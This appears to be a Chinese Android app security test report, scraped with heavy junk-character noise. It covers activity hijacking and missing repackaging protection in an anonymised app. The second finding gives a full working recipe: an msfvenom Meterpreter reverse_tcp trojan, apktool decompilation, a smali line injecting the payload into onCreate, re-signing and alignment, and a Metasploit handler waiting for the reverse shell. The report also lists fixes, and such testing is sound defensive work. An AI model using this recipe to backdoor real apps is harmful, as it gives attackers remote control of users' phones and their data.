* h; \0 ?* p& ^" ?& B3 a0 A2 k% H8 u
: R* z& v, E! i; Z& B" a
2 O1 r+ S8 M2 |6 n3 S
1 H' g, m1 X0 F$ w ! Y& G$ N# k! Q& v
6 c& F) A5 A$ ]5 | s2 V8 I' W
( p1 k, \/ K' O Z, B6 _
6 S+ ^3 Z3 {7 v3 y/ H ; h* b; c5 L- d1 W0 A: T
* o g2 [4 R% y 表1-2 测试结果
8 P _: L5 q# ?7 M8 d) r
n8 y+ X @+ h0 y+ M: }
& m1 B+ {. G- y9 {7 r. h9 Y. V; q/ b* T6 [- i# L9 C e
/ Y5 L* \7 z- N/ c5 w9 O; x' U
! n! }4 @) s/ _! ]' E4 y
) E6 m% y4 @4 E; X8 T
+ u6 @+ t* v( Y
* z# ^ D. U0 X- ^9 ~! T G& q
8 O/ I7 j- f y, l5 M. ^. ~
0 k6 ?( i/ ~/ u$ L+ W' Q
# J& D3 u+ C# Q$ X" x9 Z
2 检测结果 6 y) A. p; t, M* L
0 H. u f" A$ c. d- F3 g
/ ?1 |! H! c0 E i5 W1 Q& X' |$ [# Q6 p" ^1 m
$ l W2 K, k8 P; s6 G$ k _0 f1 B& c% ~0 x
2.1 某某某
7 E1 N' C7 [1 l. g' t6 B* V( p/ V: h2 V) S# U+ D! |" ^
f# B& I& w& L/ Q. ^$ G2 Y1 w0 [4 Z/ F! n( A
' q6 u$ _, h/ J S9 E0 ?0 k( q
. o3 z" j% s) g! D8 o
2.1.1检测目标 3 N, x1 r4 D0 ]! x
; W- K6 l6 {+ i. q5 x1 _/ X
+ |1 x+ s5 u: w- b: y4 X/ a2 e
: }' D, b/ c E* m' {! w0 ^" m+ V
. N0 I! F# E/ N1 y4 S6 i
, P5 R) f0 s8 y, o7 | 目标地址: 某某某某某某APP & L, C+ u C; h F- o8 c- h( P
$ w( l9 I& W7 b; O# @
& m* N. i; _. R9 v3 ?% x, L3 k0 }/ o( ]2 u! ^( c
9 f, c& _- o* g4 U0 I6 d; r& D; H w) x
, u6 ^ h. x- _$ z% X Z2 p. [9 f: q. w 2.1.2检测结果 / f. Z# |4 P5 t. K- N1 u$ e
% P6 D( k9 y( {& E& @6 W! Q9 \
! ]- E$ z$ }% s: u" u0 r
! a- f' Y! n4 F2 ?# }) B8 U 0 j8 H4 y4 a6 m) z; y9 i, R8 R
) D& t9 @" u' g4 x
2.1.2.1 * Q2 a+ T2 _% _+ {5 F7 m6 K; `& T
d, f) i' K1 O, B. }5 d- h
) y; }( y; S( L) l) r2 k7 m6 m& @, ~
5 S6 T0 z8 w' }+ o9 n, o
5 Y, O7 i; i: X+ n3 ?& z- @
. j+ |7 T9 g, f; t G 漏洞链接地址:某某某某某某APP 3 C9 r, N" w6 ^: f8 H% y4 c
/ {; r) g7 ~# D6 f2 C* S- k
/ E& p4 ^. A. A5 V
3 L4 w: W3 M4 H. X3 O8 B
* I: N8 x. k- g0 g0 h2 C; R: p# s/ e+ Y& Z" c4 M* t6 H. O
( i* J1 l- ~6 C, _& ~- A; ~
/ R- i w$ }! P
6 D: x, ~. c1 [" M3 O
9 @ b! e% B+ X: Q) _6 |8 H
' p; Q0 V- p/ |! l! g9 l" A
5 e* U3 J% \0 q7 ^( K; h
漏洞分析及取证:
1 i9 G7 q- T5 l6 O( k8 K
( G1 |; {* I, M, l2 b
7 V5 u/ ]6 q# O- X# w) R: m
9 q+ N7 t2 e. ^ d2 K: d' e" x
o4 S9 @3 r, G: E1 e; d2 q; T3 D8 z& d( L
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: # k! C3 h) e! G
% t6 ]) b8 x5 R3 t/ @' |
% j8 o+ U9 ]- C; }. Y
% \$ Q+ \, `7 L8 T : a4 n( ~$ T& B
0 N! t7 N( X/ Y& q
% \/ M$ k/ a% N6 X1 u3 l1 z+ z- l0 c6 J! c( R( u1 {
$ g6 @* A: _# z6 r; R
' w% s& E5 V5 {% j1 H% b
$ N6 ^3 Y$ C1 M0 h
/ j) L t; M) D, c3 g/ Q9 C/ q- b
) i" J% d/ {5 m T* g) F1 \: A- V7 ]
( X# K3 b8 Q q3 {4 T: _! D4 Q7 y: y6 t, u1 v. `0 c
: a4 D* J5 ]- V# ^9 r
" Q1 A7 j, j7 b- t6 I" @
+ I) q! J: L; A
$ o9 Q8 F$ r1 }- x( ^* z0 |
4 q& t6 Y; _, E( q! p. I6 n
; i( A( }* Q1 _6 v6 F9 q# L, ^! i8 r
! p! |0 G2 X5 m# L; x9 S+ K' i
9 ~$ u2 n' G I# S4 \2 o& O( d3 s
& |0 p3 T5 T6 g" ~
/ ^* o) n% ~# ]5 y3 { Z
% r1 V9 E- ?, S9 u8 n) W' B) b
: C8 H0 ]3 k" G' Q7 G * P0 ]8 k+ @$ a5 t
2 n' s) w) h0 ]5 G5 U1 K+ h
/ p7 P. A2 G8 [+ h% ^
( H9 i& ^% j- e2 m
$ H0 B7 O7 v* B. ^1 C2 _
6 K2 H' N, @. d, [ % b! G: w. b' h6 M
7 I) }3 `, C5 j0 A5 z
漏洞危害:高
8 @& @6 q, u& ~" u/ E9 [ E; J$ i! \2 y6 d/ S) V+ ^
, {7 c7 }5 F. g3 w5 P+ I9 i
$ D8 Q4 `2 ?. N: r% W. R5 c1 R
& p3 B( d, E/ n! W0 r) o$ L9 _9 ?- f- U& T+ R: N1 [
7 V7 I) ^7 S7 C+ t" C7 Y4 `* f/ a% \' t, J2 u, a3 p3 S: E" k7 t
5 f- d# n2 F; ~6 V7 h! a- B
- p) n' e2 T Q 8 \8 v) c- ^) {, [3 O) [+ R% p
9 e/ [4 U- R4 z7 l- M7 e 1 v( N$ I8 A/ g, q. \! o; T- _
4 @3 `% ~ g4 Q2 X1 Z1 H ~ M: l% Q ]; J& x h7 H& b
6 W8 R8 i+ r; E: R h) c 严重程度 $ K4 P4 B7 w& L9 d/ Y! ]3 _' L
2 C/ g9 J& b* \$ U$ a9 a. h+ S+ t1 r. N V% \
5 y3 @. P; k. C F! O7 e9 Y1 T! K a% i+ K
| ?4 b0 E' ^! h S+ y6 x; z: u7 E
' p$ u `5 P1 E3 m, m% F 5 ?, t: w) K: {! f# S5 u
$ J: Q. g' L" V% A$ c$ F
$ [0 ?+ G5 R- Q1 w4 W: N
p/ u/ _5 Y- H8 A; c- Q! ?# T 高 3 ?8 b7 G9 b, [* w6 E/ Y
) x. q& O$ f$ W
# K. \8 m' Y$ |& z3 Q6 f3 q( E9 J/ L. w1 k* a3 s, T
| 7 b, z" W- L8 @# z
; K8 P! |0 i6 O3 ], w9 g7 R; v
$ K I5 n' t# ?1 p6 U& ^' I Y. J6 X) `/ W/ K8 |2 J
9 m2 ~+ O' ~7 {$ M" w. L, y' w
* k" }% [7 o6 r; b8 r0 P0 H& a0 j ■ 6 |9 X9 l _5 k) L1 z. H
~ y: Q& t3 ~/ z$ ]) A ' Y5 l! f. T) t* N& _4 b" A
7 E2 k6 ~5 {$ b* M! r& ] | 3 D9 z; r8 f' T" Z; y
' ?0 U3 r0 u8 c) d4 M' O" r5 s ( i0 F2 s. l% e1 x8 ^
4 M4 T; _" i; P& l$ x9 q " X& l7 j% W# g$ ^" a# E
/ Y$ \8 H) D7 {5 g9 a$ ~8 d/ c 中
) F [9 i1 _* n2 }
: t% `) @0 |, f# s* v1 ?* Z
& L" q- q4 `4 Z4 h& S& t. G7 P; p( L3 ]% `$ `& p, N. o
|
& l( v! V2 ^) _4 h( r8 H+ d# t, P( s4 B. l- F( Z( t+ [
1 N* [4 I9 J: `: ^& f
& |: Y0 P* E3 {: G3 K0 c
5 f- e, [& {/ }; j( s0 X8 _$ _ o% d6 x7 U
* N5 W1 Q6 j b1 }: C, f* w
9 c& g) b/ [' G! Z \. o. T. i
: K* r- c+ ~; Q' K) a6 d( M2 \. W
|
/ h3 Z6 K! j0 J! b4 F* y; v: b6 }/ }
# a) I" d, w2 D2 X+ [5 g9 }3 s/ H: g( x& Q. |9 D
. Q$ @- c6 b8 U1 s
' H% L& Y( j! e. W! F D- Y# M 低 ! f F, i& K) j
- F, E3 `/ ~. W4 z, V! g
' g W1 ~' w0 @
, k4 g7 H' d/ I( W( \ R8 [
|
0 x1 X+ [1 I/ U4 U5 `( t2 [8 F
! S" T8 z! p# d( P! n# n 1 p* J+ Q3 _4 K- R/ R/ x, ^7 B* i
. W& X* w- o" x
2 u; U0 J( H; E6 w% s; `3 ?. W7 L, } R. k$ `% {& @# V: m2 b2 Q; v5 z
|* w# u9 D4 `+ P
! x8 B1 E o8 E5 N9 j6 I ' B' p9 g3 e; R) h( ]
4 H; n F4 ]+ t | " [: ^7 A) B0 l! h, l2 m
7 N5 Y! W e+ [7 ]4 y V3 m2 Y
: p, V( I1 S5 [- [8 y5 k7 h
( S6 y- J8 x' c4 |# s6 X + x# m7 N& w: A ?! x; r
G+ I( w( G( ~& ^5 y. X4 C3 R
' t: C: i% M) A4 z6 }' X+ j: I2 C% B3 d- D
7 ^# A: L* [) f" a: G
. P( q% E3 K. T# p+ I w
) S4 g5 t* D. R+ B% X! E* _7 K+ `& E, V& b
' O8 e! }0 u, P) J/ D; z; W
0 ^4 N+ v! q/ n+ e+ m3 i; w2 C
; r/ |$ B. U0 M3 V. s4 r. Q
, ?$ ~$ p5 r8 [) z% l! A& F& \* n5 V
( L& |4 X) g; A# @
% P% f4 t6 ]7 v' G6 v% Z 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 : ~# R/ w4 q( a: z
. W0 k! F: D3 L+ b+ I
% Q' ], \5 _# g- K' i
; t# U* L0 k* J9 Z* i% |3 j" [
. o0 C+ p6 M: `2 p9 {' |" H+ c
7 N% P* _5 W8 O- N4 a% A8 J
( _: b( ~- f7 Y9 w
& B6 a& L$ g- h" D( p L y
" N; L% p" f" Y l* N) b8 A+ k/ {1 Q" `: _* i5 V" r# W0 E5 j
2 m ~9 S0 D* D: o1 @- ^
6 C2 x0 D. x9 |2 A
, |$ v; k- p$ O' u9 Q `( _6 o/ S& m
7 q( @, l; N4 a8 x( u
" w2 U5 o1 h7 `
: d, U9 L% h8 g$ m5 t1 W
/ Z+ o$ K. G& }: t# e2 s8 f 2.1.2.2 6 z) j; g u5 B4 w6 @( }' R6 m
6 H# H2 S" I+ H, d2 X: |6 N
" O5 O! E' r a. Y& V& R: d1 L1 U5 m9 C6 q( R
) X! q; a/ X0 Q$ S9 \ G
( u0 x& ?0 N% d2 L1 b 漏洞链接地址:某某某某某某APP
1 J1 t# O4 p$ @- j1 N* ]2 n; b4 ?7 S- w9 D, I7 j
' n# g" O2 T7 Q9 t& T7 T y- \
' h5 l, g- L2 l2 v% w. v+ ?
0 `, V: g6 `6 E7 ]; }9 n7 z7 Z3 }
$ L4 i8 |3 |! s 漏洞分析及取证:
9 l& v. R9 `- ]! B* h' t5 o
7 K/ y2 J, h M+ L4 v
& a8 e6 ~, b: T! m) x0 L) D6 r6 |% C2 u2 m M
- g3 s# S* V, n& b4 {% G% K4 c5 f% o m8 a6 v
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
Q! S4 o) N2 q' R0 d/ L6 C3 e" K: Q
0 R* ^8 D! Q h( L+ }
1 e' j* ]8 I4 A- {8 y3 m
# B2 a) z* U2 Y( ^1 J
8 q) c) q; T9 g& {0 r& J& T9 x+ i6 X8 H
& T0 p/ C! n/ \" ? 用Metasploit 生成木马 apk 4 i5 `1 Q7 I) j; h
3 u5 M4 r" w& X( U# G
D; N+ @4 E, s4 E( X J) {9 r* O3 Z/ ^% W' [% W! ]( i
g. x8 }& ]$ ^6 S
' s" K4 H7 s2 I% I7 S9 Z- w2 S msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # s- u5 @ V/ [& L7 u' d e
& z: n) X T0 N i6 i
! A. _0 n2 g, x7 s2 g( k. ~
: d/ v% R0 t' T1 j2 `- n 0 X+ c: [# X, P# K
t: H0 A0 J) o! ?3 f
反编译目标apk和木马apk
1 n! p5 V( U, }0 S4 Y T
* h7 S7 M( s' d
# N. I% e; g `$ I9 F
9 p& m7 C/ l5 m4 w2 N
1 b, i w- ~; x) f1 G
4 r! y% y3 {4 i9 F! o apktool d target.apk
& q# `8 t( S9 h; @! b- _# O: \
8 c* C) M" L5 P; Z, B apktool d cockhorse.apk
6 V5 S5 @9 X7 h1 N, I
" n" k: W- O/ h+ a# i+ k1 S
; n! z) \ s% l% b$ \# s* W
0 c& c2 V0 ^$ C0 \ 6 P) X1 b+ H& ~* j) ~
6 M, f' | Z% T9 I6 ~6 j, v
木马 apk 注入目标 apk . s) V6 m3 ]/ ]( v: C: H0 Q. L
. \8 ~: C/ Y3 ]' a8 ^$ |
; I ]3 V& e2 s+ t" I( I8 x8 @4 m% B# o) ?
3 J; r0 N- d/ X8 J" i
0 P9 a+ t$ s# b5 V, r' }9 L
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
! z6 d* o5 `' [& c3 b+ t: H1 c! I; ]* {# z, t# M( u
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 7 e+ u) f8 p2 [7 a3 v
; Y8 i* e0 S& g; X+ i& t+ i- z
: Z1 U/ r& X a. q" A/ M
' S( Z, J+ d" T8 Z& G
' B. N& k$ r3 E9 r4 p
# N! @! P7 P0 m1 f
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
4 Q; @7 F, w1 K
2 V8 x% f) X+ b8 f5 G* H
) P( u8 M3 D" e6 X t
$ c v! m0 X1 d( I4 F
6 ?# C2 R& j: X1 O& W3 z' }: v4 T/ I/ U7 [! `
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
" x+ K4 O% W& k3 ~) }3 `; U% t$ D5 s4 i4 T
% ^ M" D, W2 F7 A: C x
$ K7 M% i L6 L% g
: r6 m$ b7 ~" R; k7 o
) z* f2 w5 R' t: N' r 回编译生成最终 apk
+ l7 q0 s o, P
, X5 C# s; x B' m6 @0 ]+ ]
1 h( |% j! [8 m e$ D
3 e* k5 I6 [1 `% c' ? % h7 C; @1 Z; d. @' V. H: Z
7 s; H& n6 ~6 ^% Z
重新打包
- @; s. J# l7 i
6 F$ V; ]$ `5 T% c" L$ }3 V7 {9 w$ z$ g4 N
* ~- D) a7 F% c% j
) P8 ] `1 t; O4 m; | ! d- u7 s- z; O- Y2 x }" B
! R6 w: d( P$ V( o4 c4 _' P
apktool b -o repackage.apk target_app_floder 7 y7 p) k3 h6 [& z9 e1 {
$ L1 B* A. l1 b) C+ _, z) t, `7 j$ C
7 J1 @& |& ?# ^8 F6 c v
; T( w# Y& }0 h, A& I- q3 x
7 q; L+ Y- Y/ ?& o3 p
" j! \' v* u1 Q* J8 z7 B: m 创建签名文件,有的话可忽略此步骤
: Y p0 b6 B7 S3 Q$ f' O' f8 g- m) l- i& q
1 |4 W9 ^9 H4 y, b) p
. D4 h) d7 c6 x4 S
6 } `- n6 i1 G5 D
- S" `# x6 B8 p0 _$ w" W keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 ) l; L$ S b$ t0 y# B- h: W& A
& b! d0 p7 [% m* o2 J
% N( h. ?/ B0 j; j7 X3 a; X
Y% w1 ^, C4 S) [' [# x) i0 c " E7 d" o* R, d# |& N+ m
. E- g5 T$ `+ x0 x# x2 m7 r
签名,以下任选其一
7 X5 P8 i+ A* _1 u9 D% z
7 s- S0 n& }( e/ H/ Q9 ^2 k- |% q
6 K3 f; `9 J/ q, Q1 e" v+ @+ p8 z
5 {% a$ `! m' z/ K % E. m) t% O( i) _0 K) R; M( A
* s7 r# s" L! J
jarsigner 方式
$ u! ]! n3 t. Z) d5 T9 [- J& \+ d# v2 i" L6 {" [
! K% ?8 ]" r% @
- D7 S+ G4 B; \# U! v! r, b , @, a) L- {% W
1 C* \& x! S6 `% _
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
3 t W( H9 x9 B, `
1 L/ g8 G+ r- S7 G9 r
* u/ \" r% s* y' N
) p% f% q) M' O# V ! Q ~# G+ ?' e& G; {
. q: G" X7 b3 E4 L$ ]- L- D& v- C apksigner 方式
2 N% o5 d. O/ U, Y! }" T( E* C) c+ Y- ^ a( T# @# B4 ^. d7 g
3 i8 Q0 F! W0 H5 z/ }; o: @' U4 J( [
' P) g2 q/ w8 C3 O* u8 i M
( o! u* r' O" j8 f0 B$ s/ z
2 G9 v# _' {' l* m; t9 a apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 9 t4 p9 t4 H7 j& Y# O
6 J' W* ?) R: P0 M! z4 u3 h" I
4 M9 G" A- K7 V. `
^" s6 D6 ?1 N- H; p
( I8 E- g/ T0 s4 x1 m9 d6 f1 w) ^+ E, `: ^! W6 m
如需要禁用 v2签名 添加选项--v2-signing-enabled false
; G A6 S+ C$ \9 B1 n8 N3 B, ^1 }6 J" W) H' b0 G* ?
5 z3 L3 F! R2 u$ Q& d! l& ^9 w
3 T+ t0 d0 k: L. K 2 M6 L! n) [ |, O6 |4 B2 @% h3 l
! h% [: ^+ A7 h' A s6 C( ~. H5 d
验证,以下任选其一 n* |0 |# V0 r4 [4 G1 N! K! @
/ D' b" `2 J4 ]# @( D# g* i6 p
' W: b9 `% X3 T5 J, `, G: y0 g. k+ H! S) S
+ L( h( K! f: i( g1 q2 l2 r& F
& V8 [% n9 y) k3 q% k2 |8 }5 C
jarsigner方式
3 N4 q& f& ~/ J( Y, u; H T) {7 L* u
0 B5 [7 l' C# Z- B" e2 r- k# _ |( c3 R
6 z2 Q9 q; Z6 L; s# G
: u- p, t+ y2 R7 x- f jarsigner -verify repackaged.apk 6 G7 ^" \2 P0 T, Z9 y' {
$ N- Y. i8 d" v% v
! f$ ?9 Z: J+ T Y8 d; u& H7 f: d- g) Q) C# G6 a3 k
b7 D/ V2 a9 ^! j; z6 ^7 _2 ^0 T
apksigner 方式
: K% \: N, @9 X/ n) ?
- j; ~$ }& J; d# Y
; \& ?" `3 @, \) @+ x7 y
5 r! r, H6 Y; c
) u; y) S# k! w. n4 {6 _2 e
6 T" Q. e( g/ C' z apksigner verify -v --print-certs repackaged.apk
k) h* r& u. W8 I1 E5 q7 H3 z9 }8 t! E* M) G
) C" p- u$ ^8 Z1 v* R+ J1 z* s& e I- L6 E: H! p. q |+ c
& `! B H) T, k- f7 Y0 H. ~, f" \/ E( _! R
keytool方式
9 H9 i7 Y% x* x$ ]7 g7 H ]& o0 j- T% W# R3 l) @" y# E
9 b; W7 ~/ w! _! u* V& U' K# E
) u r2 g# [7 D
. X# n) f6 [* b, a0 V$ g( ^0 O& y' }- H, u2 z+ {
keytool -printcert -jarfile repackaged.apk $ L& r1 ?1 H, L( V1 ^
& K! b- c- y2 e" b* _
i8 N9 J' E8 J# G* b( W
# Z6 b; b/ G- x1 z" K) o" X7 m
- D ?5 A3 K% g/ N# n; b& K
; c) {' C, N( ` D5 P 对齐 % [# X1 z+ i' z3 {
) {) e, B: P' q' `) [* A
: M$ W2 B& ?( F1 p' m9 a! j1 H4 k; y5 C( G; r& V6 w0 z
9 T1 p4 b1 o4 u/ g: `! K
$ }+ Q( O9 K9 P7 \! I" g 字节对齐优化 8 O: K+ A# o3 v
5 ~1 [& O( H* J2 l6 \' a/ |
( L4 C9 n8 K1 U0 @9 p+ I3 A) K! K1 a$ P- U3 U
; ~3 E" q3 U2 x* w; {( h0 Z5 Z# u2 C) J% V7 B$ S' r: [
zipalign -v 4 repackaged.apk final.apk 2 Q# ^& Q" [& E& H: D
' N1 u6 Q# I7 n( F" s U; t
% ^/ K O+ h+ R$ o0 z8 K! d- c- ?/ }7 Z3 q& s5 Q* q4 n, |9 o/ z! C: R
$ r4 r( h$ r' F& @/ s9 K# {1 Q2 V4 k
检查是否对齐 6 a7 z; v K+ K" Y9 c. z1 r
) f% |" ]3 m2 D" ^6 C4 S d
0 L$ A+ q3 K/ v+ B2 } E! @& ^+ p* u! N
/ y0 O" u2 b+ O6 p& ?& t- J# M: G; ~0 I1 _) @: e1 I% Y0 Q
zipalign -c -v 4 final.apk & ?1 L* W, j; q) G& @ }
( K# R% x5 W0 I) f/ [/ K/ S& Y* W
+ e3 S; ~8 q+ F+ m7 M1 E4 O8 u1 S3 q
1 |- ^- Y- f/ ]; `" _* ]
1 s' \: U0 { m 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
( k& ]. V0 \8 C/ ~# I5 `: h
* G( Y4 a$ m' S
* C& V# H2 ^5 S+ n3 D8 {% P
4 s, l- Q; \9 ?+ ?' v$ e 5 m0 B" D$ ?4 m( Q3 E3 C
9 f& U3 s) k2 ^* }6 ]9 k* A9 l' H% u$ B! b
启动Metasploit控制台,配置参数等待上线
5 S) \; H) d/ M0 ]* y! l9 h
4 w" e" x) g1 ~5 E1 S
3 a, o. S2 {; w( z0 D
% S/ U3 h, K6 _0 f8 I + o" r8 z5 s$ a+ j
6 y+ F/ k* R& a
在终端依次输入如下命令 / [- y) R& m! ^, Q; h% W
$ S+ z1 F9 k+ D1 q1 p. B
- k* |0 y) _5 e* I
1 `. \( V1 U' z8 Q! I
# g' g8 M' O" v$ \9 V; U$ i7 s# C. B
, `" |. F$ `" c; w! N, l msfconsole 2 z7 B, `8 D) x) Y9 ~9 U
) Z: Q, q' O4 u; O7 c2 t
& s1 q; C& _2 o2 s# I0 b; G6 ~+ f$ a
8 n2 J# x! @9 ]& y
' Z% T: f: k$ k$ N a% M
" B. h* q8 Z% h- |+ p use exploit/multi/handler
$ b) C$ x$ Z9 M9 Q( x% d. O3 [2 r' Y$ ^: u
: _7 j& \+ r" e$ l( G! Y3 S) B2 X6 L L% M" I A7 z$ N1 R
2 i* y4 p$ q6 {& A- a, K" |; a% s7 p
set PAYLOAD android/meterpreter/reverse_tcp
: [- [, a7 j( W
3 ~( q8 b2 _1 q( e. }% d: X
$ ~" r& Q5 L8 z. }/ Y# I; O/ k- d$ |0 v
- n4 T7 q! X5 ~/ Q& {6 z7 z
, F P1 M: g; l# L3 a' N set LHOST 192.xxx.xx.xx ; u; u& H0 p' m }6 {7 o% w# i
" [5 C# {3 j; G( f. x8 O( N
2 o8 [# H0 S% }4 V7 b) V
3 I2 p' Y: u3 `7 A ; v$ o/ V5 a9 W7 k! f
' w7 ~8 _# o6 [( r set LPORT 4444
s& L$ D4 L) P5 e: R( q- @
1 I4 d- d. o2 {
8 ~8 M' ]1 J. x( H# ?. r
- L: n6 e, F+ g+ ^" r
: v7 O# b+ Z: d$ H. N1 U$ a! _- w( r+ ^. l+ [8 ~7 i! v$ D6 i# ?
exploit
3 l4 h& W! h: g% X: F" Q5 u4 w" b/ }: J$ z; B/ I/ q
2 {7 h5 O( @% N6 C. f9 s( ]
3 m" X `9 | @2 P/ J3 m% g! Z
4 ^8 O# C# ] M$ F' ?# K% T5 p
: ^9 J0 i' @7 a1 P. i
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
7 [: l/ i C$ x5 ]+ z
2 W# r7 N. T4 V8 e
: M i0 @( Q% K: h# T, ^! T5 q% b; F1 i# k S0 G
7 \( s9 d; }5 t8 Z
! N% Q/ }: k: o8 D
漏洞危害:中
4 X, ?8 \, g- ~6 i; d4 u3 }( c7 v' o5 u# T
1 L" D$ R- J) t
, J/ }5 J& E4 R9 e) [* N
, W2 p4 a3 K( ^: b$ [2 q8 Y; _1 B8 N6 d1 {
+ @' [. a/ N* W7 ~
1 j1 N: M; ^8 |% k; d
' O6 W: S2 R4 ` | \& N7 F M
, W% m1 \7 T+ e ( \( a' Z) v+ \
- z+ S5 m( a5 K: K! d h$ D
& Y4 o; k5 d/ F: Y5 `
- P# a8 M8 G* g( ]$ x% X : @5 w9 c$ _/ [. ^( P
* D) v \! Y! Q- {) i, {; n& Z* u
0 i# g% g& v2 h2 T7 q2 U" r
0 o; C9 y( J2 C: k" Y$ ] 严重程度 8 ?. P2 C; D) f- V3 Q: J0 f
% G/ @$ o! R) ~# i* Q7 i" k : u0 q9 d; B4 K/ k0 e
: C/ O" V/ j* B: \
| # g0 \5 ?" Y$ b" s6 }, d8 w! Z
/ _; T1 N+ Z( j$ {1 j, b( R % f" h0 j( L7 n) k; a
4 T% A% N& j# D7 l. Y" @ `
; R3 e8 Y6 B) u, j+ {2 A
' f/ ~1 g) }3 E2 p( |! P# Y1 C8 o0 v' i 高 2 ]6 h1 [0 ~* b% Z( m, S
& J- V4 h. k. A3 r% O- F
- q: i N9 k0 e# A& q, O g% T: R; f1 {8 u8 g1 c
|
7 x/ k' O4 l1 D5 G, c/ x S4 {, o4 a* \1 D. H* v9 D0 o% w
( Z' W+ j. [7 t8 c4 p6 B
4 {; \ [( w s B' A# [
' p7 s& q2 U- o: Z1 x6 E- ]! w& Q; U+ ]
■ 5 s- _( e2 e5 y5 o" k; d {
' V$ h% K) n; B
! [ g. |( {; }# K( d/ }2 N# D2 q! ^* {7 T/ a, }) h
|
( _. Q3 v5 I, w& G" M2 @0 g, \# w
2 N( ^8 y# x2 O# Z+ l8 n1 C* O, ^
: ^' w+ A' E; x% o% l ! B) @# u% D& W; T- G. K: M+ ~
0 p! s/ W9 e- I7 Z
中 7 y" A. G9 u0 Z; x$ C
4 @. M. w" B2 z! g) E8 [- J! ~+ }
# W) z# w0 g& t+ ?4 c' m
) {1 L2 f: \+ i% R V3 q3 r |
- R# \9 J* h) W# H$ I$ Q1 N a8 F; n8 O. _
$ ^+ m' s, a+ U! L4 `5 y
8 s! A7 v8 o B1 { 3 ^& r/ @% n6 B$ O" C
) S# h! x3 w A% P; q 5 [3 E- E8 x2 @( ?
9 v8 n& u. b/ K$ ^( |. i
% `: p* W; `- Y$ Y
: g' @, S/ O- }# h1 L, Q
) ]6 T9 u2 [$ H! h7 V! G6 A" c2 z# S+ i4 j9 j" g
|
: R) b$ R" C3 D: Y% W2 k
a- {( a; a6 s! j* J7 W" _ % L" ~) N4 d, g5 G
! s% z9 n1 l0 _* M* i
8 y+ J3 c) M1 f, x( i
2 q8 i( c7 C) |* F: \ 低
; p' B1 b% Q6 q
- [( @3 c8 \8 U/ z# m
$ F. v U6 e0 [* t0 ~: ~* f8 {5 l {; G, H, j9 Q7 I) H
|
1 \, B8 ^& Z: D: b \
+ y. @3 k8 m! [5 O ) ]( j3 _/ I7 \; w5 S8 r2 t
+ C7 t9 S' {8 v9 ]
0 I+ d( i3 T/ ]: N/ \% n
t9 U; K) v$ d+ t: b
. h. [( X% w, [, m9 S& i/ W9 k
8 N, h! u1 l" P- Z
8 p. B+ @ p1 C M6 [ D d1 } _
9 r: i% s0 W$ i# @1 {
) ]! m% x: ?! R
( Z g/ m d7 Q |
, [( B r/ s" t
' N4 U# |( Y9 H5 b, p- Q) i
/ M& |) `( Q6 c/ [: m, M; n) y
6 j5 v8 y- o& @- L% N - t6 T0 P0 \* d
3 n% O0 p) r6 l U6 ^6 I
4 }* X6 ~5 B Z% L- g. j6 N
. F8 T# Q+ p% J }
/ Y2 m3 _, [; ^1 i- D8 d" ?% \1 S' Y7 j* r& c' {, `6 d) V$ j
3 H+ Y! Y) n7 s3 G
% ^6 p4 x) |5 T( ~; r/ O
& J# z( _1 q1 J2 d, m( o8 M$ k4 l
7 I9 A3 [6 e F
, ^7 ]1 y. c) O$ C! i* ~5 x) N0 R
+ p* I3 F2 C2 Y( {! G [
2 f) m* T. h# D& e: l5 D5 |9 Q
" R0 p/ J$ T9 ?# q0 l 修复方法:
8 s% u& g |+ m# d2 _/ S4 {7 E1 @9 I" u6 E+ l
6 K8 A, S: p6 b* @: E
% ] z( g: x" D
\) l# _; l6 U5 ?3 J1 [7 }" E
( d n* ]9 P6 [! S, K! b9 W' X 1.在 APP 启动时应做签名校验防止二次打包。
. @& t& k* R [3 ]* B j: i
2 f( c0 M7 S; B1 l: L. U8 e 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
+ T5 u( _( n7 |0 F7 h g
! y. O. w' J+ m5 T
0 X: Q0 J3 b% `+ c
% H4 |2 L* n( [# J* G- R7 [9 }
' {% `3 B9 j9 ] p
6 u9 F' h8 v8 E7 p$ q' @
1 `5 E: x6 d6 {; P* p; E& M! e+ U. i! U/ Q
j/ X- g$ X0 i* K' f8 N. T; `5 l, l% b+ ]
; q3 j. B( e/ i' _* s; T9 A
3 e- |# L- B9 Y9 Z
1 I) Z9 p9 [) ~! n
7 R: G7 h3 [5 F4 ` 8 c$ }4 F& J7 _! S4 n7 n5 C) m/ ]
* B* u% \% y' c% F& a5 g! a s+ t
7 d; N2 Z! y! a/ q) [' @4 _
( j+ j8 P4 Q+ s9 ~ O" x% ~8 M
( r) P2 t$ c$ |0 B7 P
- Y8 p5 ~; L) q0 B